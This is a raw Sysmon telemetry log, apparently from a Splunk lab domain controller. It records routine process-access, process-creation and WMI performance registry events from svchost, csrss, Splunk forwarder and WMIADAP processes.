ntdll.dll+6e871 10341000x80000000000000005721Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:57.313{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005720Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:57.313{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005719Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:57.313{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-2999-5F80-4501-000000007F01}3320C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005718Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:57.313{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2999-5F80-4501-000000007F01}3320C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005717Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:57.314{A5F018FF-2999-5F80-4501-000000007F01}3320C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005741Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:19.452{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005740Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:19.436{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005739Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:19.436{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005738Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:19.436{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005737Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:19.436{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005736Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:19.436{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005735Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:19.436{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005734Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:19.436{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005733Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:19.436{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005732Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:19.436{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005731Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:19.436{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005730Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:19.436{A5F018FF-28BF-5F80-0F00-000000007F01}11281208C:\Windows\system32\svchost.exe{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|c:\windows\system32\wbem\wmisvc.dll+2624|c:\windows\system32\wbem\wmisvc.dll+2491|C:\Windows\SYSTEM32\ntdll.dll+7df1d|C:\Windows\SYSTEM32\ntdll.dll+45ce9|C:\Windows\SYSTEM32\ntdll.dll+29bdf|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 12241200x80000000000000005760Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localSuspicious,ImageBeginWithBackslashDeleteValue2020-10-09 09:13:29.670{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXEHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib\Updating 13241300x80000000000000005759Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localSuspicious,ImageBeginWithBackslashSetValue2020-10-09 09:13:29.670{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXEHKLM\System\CurrentControlSet\Services\WmiApRpl\Performance\Object List25380 25386 25396 25406 25426 25470 25480 25518 25524 25540 13241300x80000000000000005758Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localSuspicious,ImageBeginWithBackslashSetValue2020-10-09 09:13:29.670{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXEHKLM\System\CurrentControlSet\Services\WmiApRpl\Performance\First HelpDWORD (0x00006325) 13241300x80000000000000005757Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localSuspicious,ImageBeginWithBackslashSetValue2020-10-09 09:13:29.670{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXEHKLM\System\CurrentControlSet\Services\WmiApRpl\Performance\First CounterDWORD (0x00006324) 13241300x80000000000000005756Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localSuspicious,ImageBeginWithBackslashSetValue2020-10-09 09:13:29.670{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXEHKLM\System\CurrentControlSet\Services\WmiApRpl\Performance\Last HelpDWORD (0x000063cb) 13241300x80000000000000005755Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localSuspicious,ImageBeginWithBackslashSetValue2020-10-09 09:13:29.670{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXEHKLM\System\CurrentControlSet\Services\WmiApRpl\Performance\Last CounterDWORD (0x000063ca) 13241300x80000000000000005754Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localSuspicious,ImageBeginWithBackslashSetValue2020-10-09 09:13:29.670{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXEHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib\Last HelpDWORD (0x000063cb) 13241300x80000000000000005753Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localSuspicious,ImageBeginWithBackslashSetValue2020-10-09 09:13:29.670{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXEHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib\Last CounterDWORD (0x000063ca) 13241300x80000000000000005752Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localSuspicious,ImageBeginWithBackslashSetValue2020-10-09 09:13:29.592{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXEHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib\UpdatingWmiApRpl 13241300x80000000000000005751Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localSuspicious,ImageBeginWithBackslashSetValue2020-10-09 09:13:29.592{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXEHKLM\System\CurrentControlSet\Services\WmiApRpl\Performance\PerfIniFileWmiApRpl.ini 12241200x80000000000000005750Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localSuspicious,ImageBeginWithBackslashDeleteValue2020-10-09 09:13:29.592{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXEHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib\Updating 12241200x80000000000000005749Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localSuspicious,ImageBeginWithBackslashDeleteValue2020-10-09 09:13:29.592{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXEHKLM\System\CurrentControlSet\Services\WmiApRpl\Performance\Object List 12241200x80000000000000005748Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localSuspicious,ImageBeginWithBackslashDeleteValue2020-10-09 09:13:29.592{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXEHKLM\System\CurrentControlSet\Services\WmiApRpl\Performance\Last Help 12241200x80000000000000005747Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localSuspicious,ImageBeginWithBackslashDeleteValue2020-10-09 09:13:29.592{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXEHKLM\System\CurrentControlSet\Services\WmiApRpl\Performance\First Help 12241200x80000000000000005746Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localSuspicious,ImageBeginWithBackslashDeleteValue2020-10-09 09:13:29.592{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXEHKLM\System\CurrentControlSet\Services\WmiApRpl\Performance\Last Counter 12241200x80000000000000005745Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localSuspicious,ImageBeginWithBackslashDeleteValue2020-10-09 09:13:29.592{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXEHKLM\System\CurrentControlSet\Services\WmiApRpl\Performance\First Counter 13241300x80000000000000005744Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localSuspicious,ImageBeginWithBackslashSetValue2020-10-09 09:13:29.592{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXEHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib\Last HelpDWORD (0x00006323) 13241300x80000000000000005743Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localSuspicious,ImageBeginWithBackslashSetValue2020-10-09 09:13:29.592{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXEHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib\Last CounterDWORD (0x00006322) 13241300x80000000000000005742Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localSuspicious,ImageBeginWithBackslashSetValue2020-10-09 09:13:29.577{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXEHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib\UpdatingWmiApRpl 13241300x80000000000000005773Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localSuspicious,ImageBeginWithBackslashSetValue2020-10-09 09:13:32.811{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXEHKLM\SOFTWARE\Microsoft\Wbem\PROVIDERS\Performance\Performance RefreshedDWORD (0x00000001) 13241300x80000000000000005772Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localSuspicious,ImageBeginWithBackslashSetValue2020-10-09 09:13:32.811{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXEHKLM\SOFTWARE\Microsoft\Wbem\PROVIDERS\Performance\Performance RefreshDWORD (0x00000000) 13241300x80000000000000005771Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localSuspicious,ImageBeginWithBackslashSetValue2020-10-09 09:13:32.811{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXEHKLM\SOFTWARE\Microsoft\Wbem\WDM\DREDGE\C:\Windows\System32\drivers\xeniface.sys[XENIFACEMOF]LowDateTime:1504655616,HighDateTime:30789954***Binary mof compiled successfully 13241300x80000000000000005770Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localSuspicious,ImageBeginWithBackslashSetValue2020-10-09 09:13:32.811{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXEHKLM\SOFTWARE\Microsoft\Wbem\WDM\DREDGE\C:\Windows\System32\drivers\en-US\intelppm.sys.mui[PROCESSORWMI]LowDateTime:-592701735,HighDateTime:30543079***Binary mof compiled successfully 13241300x80000000000000005769Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localSuspicious,ImageBeginWithBackslashSetValue2020-10-09 09:13:32.811{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXEHKLM\SOFTWARE\Microsoft\Wbem\WDM\DREDGE\C:\Windows\System32\drivers\intelppm.sys[PROCESSORWMI]LowDateTime:-2024749675,HighDateTime:30736945***Binary mof compiled successfully 13241300x80000000000000005768Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localSuspicious,ImageBeginWithBackslashSetValue2020-10-09 09:13:32.811{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXEHKLM\SOFTWARE\Microsoft\Wbem\WDM\DREDGE\C:\Windows\System32\drivers\en-US\mssmbios.sys.mui[MofResource]LowDateTime:-592857982,HighDateTime:30543079***Binary mof compiled successfully 13241300x80000000000000005767Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localSuspicious,ImageBeginWithBackslashSetValue2020-10-09 09:13:32.811{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXEHKLM\SOFTWARE\Microsoft\Wbem\WDM\DREDGE\C:\Windows\System32\drivers\mssmbios.sys[MofResource]LowDateTime:2077700573,HighDateTime:30531428***Binary mof compiled successfully 13241300x80000000000000005766Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localSuspicious,ImageBeginWithBackslashSetValue2020-10-09 09:13:32.811{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXEHKLM\SOFTWARE\Microsoft\Wbem\WDM\DREDGE\C:\Windows\System32\drivers\en-US\ACPI.sys.mui[ACPIMOFResource]LowDateTime:-592701735,HighDateTime:30543079***Binary mof compiled successfully 